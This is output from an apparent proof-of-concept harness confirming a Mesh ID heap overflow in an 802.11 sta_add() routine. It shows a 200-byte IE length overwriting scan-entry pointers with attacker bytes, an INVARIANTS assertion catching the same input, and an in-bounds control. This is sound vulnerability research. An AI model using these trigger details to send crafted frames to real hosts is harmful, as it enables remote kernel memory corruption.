============================================================
[1/3] Silent OOB write (NO_INVARIANTS analog): meshid[1]=200
============================================================
=== DF-0393 harness: Mesh ID heap overflow in sta_add() ===
struct ieee80211_scan_entry size : 504 bytes
  offsetof(se_meshid)            : 348
  offsetof(se_ies)                : 384  (overflow lands here)
  offsetof(se_age)                : 496
  sizeof(se_ies)                  : 112
se_meshid field width             : 34 bytes (2+IEEE80211_MESHID_LEN, LEN=32)
Attacker Mesh ID IE length byte   : 200 (sp->meshid[1])
memcpy copy size (2+meshid[1])    : 202 bytes
Overflow past se_meshid[34]       : 168 bytes

[*] Invoking verbatim sta_add():312 memcpy...
[*] memcpy returned (no trap in userspace — the OOB write is silent).

---- Corruption report ----
  se_meshid[34] (full field) (34 bytes):
    71c84d4d 4d4d4d4d 4d4d4d4d 4d4d4d4d
    4d4d4d4d 4d4d4d4d 4d4d4d4d 4d4d4d4d
    4d4d
  OVERFLOW detected: 168 bytes wrote past end of se_meshid[34]
  se_ies first 112 bytes are now attacker-controlled:
  se_ies (corrupted) (112 bytes):
    41414141 41414242 42424242 42424141
    41414141 41414242 42424242 42424141
    41414141 41414242 42424242 42424141
    41414141 41414242 42424242 42424141
    41414141 41414242 42424242 42424141
    41414141 41414242 42424242 42424141
    41414141 41414242 42424242 42424141
    
  se_ies.wpa_ie   ptr = 0x4242414141414141  (was 0xAAAAAAAAAAAAAAAA)
  se_ies.rsn_ie   ptr = 0x4141424242424242
  se_ies.meshid_ie ptr = 0x4141424242424242
  se_age                = 0x41414141  (was 0xAABBCCDD)

  CANARY CORRUPTED at tail offset +0 (se_age+16+0 region)
  => OOB write reached 1 bytes beyond se_age (into adjacent heap)

VERDICT: OOB WRITE CONFIRMED — 168 bytes past se_meshid[34] (112 into se_ies, rest into se_age/canary)

exit=0 (0 => OOB write confirmed)

============================================================
[2/3] INVARIANTS-trap analog: same input, asserts first
============================================================
=== DF-0393 harness: Mesh ID heap overflow in sta_add() ===
struct ieee80211_scan_entry size : 504 bytes
  offsetof(se_meshid)            : 348
  offsetof(se_ies)                : 384  (overflow lands here)
  offsetof(se_age)                : 496
  sizeof(se_ies)                  : 112
se_meshid field width             : 34 bytes (2+IEEE80211_MESHID_LEN, LEN=32)
Attacker Mesh ID IE length byte   : 200 (sp->meshid[1])
memcpy copy size (2+meshid[1])    : 202 bytes
Overflow past se_meshid[34]       : 168 bytes

[INVARIANTS build] checking sp->meshid[1] <= IEEE80211_MESHID_LEN...
  KASSERT FAIL: sp->meshid[1]=200 > IEEE80211_MESHID_LEN=32
  => kernel would panic() here on an INVARIANTS kernel BEFORE the OOB write.
  => On a NO_INVARIANTS kernel the write proceeds silently (see ./harness).

exit=99 (99 => INVARIANTS trap fired before the write)

============================================================
[3/3] Negative control: meshid[1]=20 (within 32-byte limit)
============================================================
=== DF-0393 harness: Mesh ID heap overflow in sta_add() ===
struct ieee80211_scan_entry size : 504 bytes
  offsetof(se_meshid)            : 348
  offsetof(se_ies)                : 384  (overflow lands here)
  offsetof(se_age)                : 496
  sizeof(se_ies)                  : 112
se_meshid field width             : 34 bytes (2+IEEE80211_MESHID_LEN, LEN=32)
Attacker Mesh ID IE length byte   : 20 (sp->meshid[1])
memcpy copy size (2+meshid[1])    : 22 bytes
Overflow past se_meshid[34]       : -12 bytes

[*] Invoking verbatim sta_add():312 memcpy...
[*] memcpy returned (no trap in userspace — the OOB write is silent).

---- Corruption report ----
  se_meshid[34] (full field) (34 bytes):
    71144d4d 4d4d4d4d 4d4d4d4d 4d4d4d4d
    4d4d4d4d 4d4d0000 00000000 00000000
    0000

VERDICT: no overflow (meshid[1]=20 <= 32)

exit=1 (1 => no overflow, as expected for in-bounds IE)